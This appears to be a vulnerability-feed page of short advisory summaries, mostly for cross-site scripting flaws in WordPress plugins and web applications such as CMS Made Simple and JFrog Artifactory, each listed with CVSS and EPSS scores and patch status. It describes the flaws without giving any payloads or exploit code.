In FileCatalyst Direct 3.8.8 and earlier through 3.8.6, the web server does not properly sanitize illegal characters in a URL which is then displayed on a subsequent error page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

RCE XSS Filecatalyst Direct
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

JFrog Artifactory versions below 7.77.7, 7.82.1, are vulnerable to DOM-based cross-site scripting due to improper handling of the import override mechanism. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Artifactory
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Prime Slider - Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'settings['title_tags']' attribute of the Mercury widget in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Prime Slider
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Prime Slider - Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title_tags' attribute of the Rubix widget in all versions up to, and including,. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Prime Slider
NVD VulDB
EPSS 30% CVSS 7.2
HIGH PATCH Act Now

The Ultimate Member - User Profile, Registration, Login, Member Directory, Content Restriction & Membership Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the several. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Epss exploitation probability 29.6%.

XSS WordPress Ultimate Member
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

RiteCMS v3.0.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component main_menu/edit_section. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Ritecms
NVD GitHub Exploit-DB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The WP Go Maps (formerly WP Google Maps) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'wpgmza' shortcode in all versions up to, and including, 9.0.32 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Google XSS WordPress +1
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM PATCH This Month

The WP Go Maps for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 9.0.32 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Wp Go Maps
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The HT Mega - Absolute Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘border_type’ attribute of the Post Carousel widget in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS WordPress Ht Mega
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The HT Mega - Absolute Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's blocks in all versions up to, and including, 2.4.6 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Ht Mega
NVD VulDB
EPSS 13% CVSS 7.2
HIGH PATCH Act Now

The weForms plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Referer' HTTP header in all versions up to, and including, 1.6.21 due to insufficient input sanitization and. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Epss exploitation probability 12.6%.

XSS WordPress Weforms
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability in Code-projects Scholars Tracking System 1.0 allows attackers to run arbitrary code via the News Feed. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

RCE XSS Scholars Tracking System
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The CWW Companion plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Module2 widget in all versions up to, and including, 1.2.7 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS WordPress Cww Companion
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Video Conferencing with Zoom plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'zoom_recordings_by_meeting' shortcode in all versions up to, and including, 4.4.4. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

WordPress XSS Video Conferencing With Zoom
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Peering Manager is a BGP session management tool. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Peering Manager
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Microsoft Dynamics 365 (on-premises) Cross-site Scripting Vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics 365
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Vulnerability in CMS Made Simple 2.2.14, which does not sufficiently encode user-controlled input, resulting in a Cross-Site Scripting (XSS) vulnerability through /admin/adduser.php, in multiple. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cms Made Simple
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

CMS Made Simple version 2.2.14, does not sufficiently encode user-controlled input, resulting in a Cross-Site Scripting (XSS) vulnerability through /admin/moduleinterface.php, in multiple parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS Cms Made Simple
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-site scripting vulnerability in Badger Meter Monitool that affects versions up to 4.6.3 and earlier. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Monitool
NVD
EPSS 0% CVSS 7.5
HIGH This Week

The software does not neutralize or incorrectly neutralizes certain characters before the data is included in outgoing HTTP headers. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

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